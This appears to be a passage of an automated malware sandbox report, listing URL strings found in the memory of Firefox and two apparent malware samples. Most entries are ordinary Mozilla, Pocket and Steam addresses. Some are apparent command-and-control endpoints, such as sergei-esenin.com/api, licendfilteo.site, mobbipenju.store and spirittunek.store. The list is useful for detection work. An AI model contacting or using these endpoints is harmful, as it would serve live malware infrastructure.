Source: firefox.exe, 0000001B.00000003.3143518089.0000017085579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3145541986.0000017085580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001B.00000003.3143518089.0000017085579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3145541986.0000017085580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000002.3281202176.00000170830F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3328273548.0000017085378000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3140375885.00000170853EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabTesting
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabchrome://activity-stream/cont
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3306081297.0000017084520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabListens
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreM
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreMore
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recent-activity-header
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3306081297.0000017084520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsDisplays
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker__absolute_recursive_ref__
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/webrtc-global-mute-toggles
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitAre
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000003.3142865401.0000017084B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.00000170852AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemahttps://json-schema.org/draft/2020-12/schemahttp://json-
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/apiNh
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000002.3303238080.00000170842E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.3303238080.00000170842E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com08a40f72-8958-46f3-8b0d-9bdc1571b553resource://normandy/lib/Telemet
Source: 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource:///modules/UrlbarProviderSearchSuggestion
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/reader/ReaderWorker.sys.mjs
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2222312016.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222209031.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182156626.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181771630.0000000005744000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181613925.000000000573C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195779568.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214645182.0000000005747000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195426606.0000000005745000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2311841564.000000000573E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183440546.0000000005747000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/%%z.
Source: 26e226f915.exe, 0000000D.00000003.3166224749.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/%nd
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/&
Source: 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3141784645.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292320842.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3241000436.0000000001031000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3283667229.0000000001033000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3258299540.000000000102F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3239956921.0000000001028000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3267904188.0000000001036000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3283179495.000000000103F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api)
Source: 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api-H
Source: 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api5H
Source: file.exe, 00000000.00000003.2181874930.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api:
Source: 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api=I
Source: file.exe, 00000000.00000003.2214689499.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214773506.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222363416.0000000000B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api_
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: file.exe, 00000000.00000003.2312038397.0000000000B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313035621.0000000000B12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222363416.0000000000B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apii
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apimI
Source: file.exe, 00000000.00000003.2312038397.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apit
Source: file.exe, 00000000.00000003.2167537362.0000000005742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiw/
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/soft
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiNh
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3327365979.00000170852AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: 26e226f915.exe, 0000000D.00000003.3032933485.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apiii
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BEE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321587430.0000017084F3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3304609166.00000170844CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userdiscoverystream.rec.impressions
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userdiscoverystream.rec.impressions__MSG_searchUrlGetParams__
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084AE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308589953.0000017084A41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 26e226f915.exe, 0000000B.00000003.2901189210.000000000113D000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
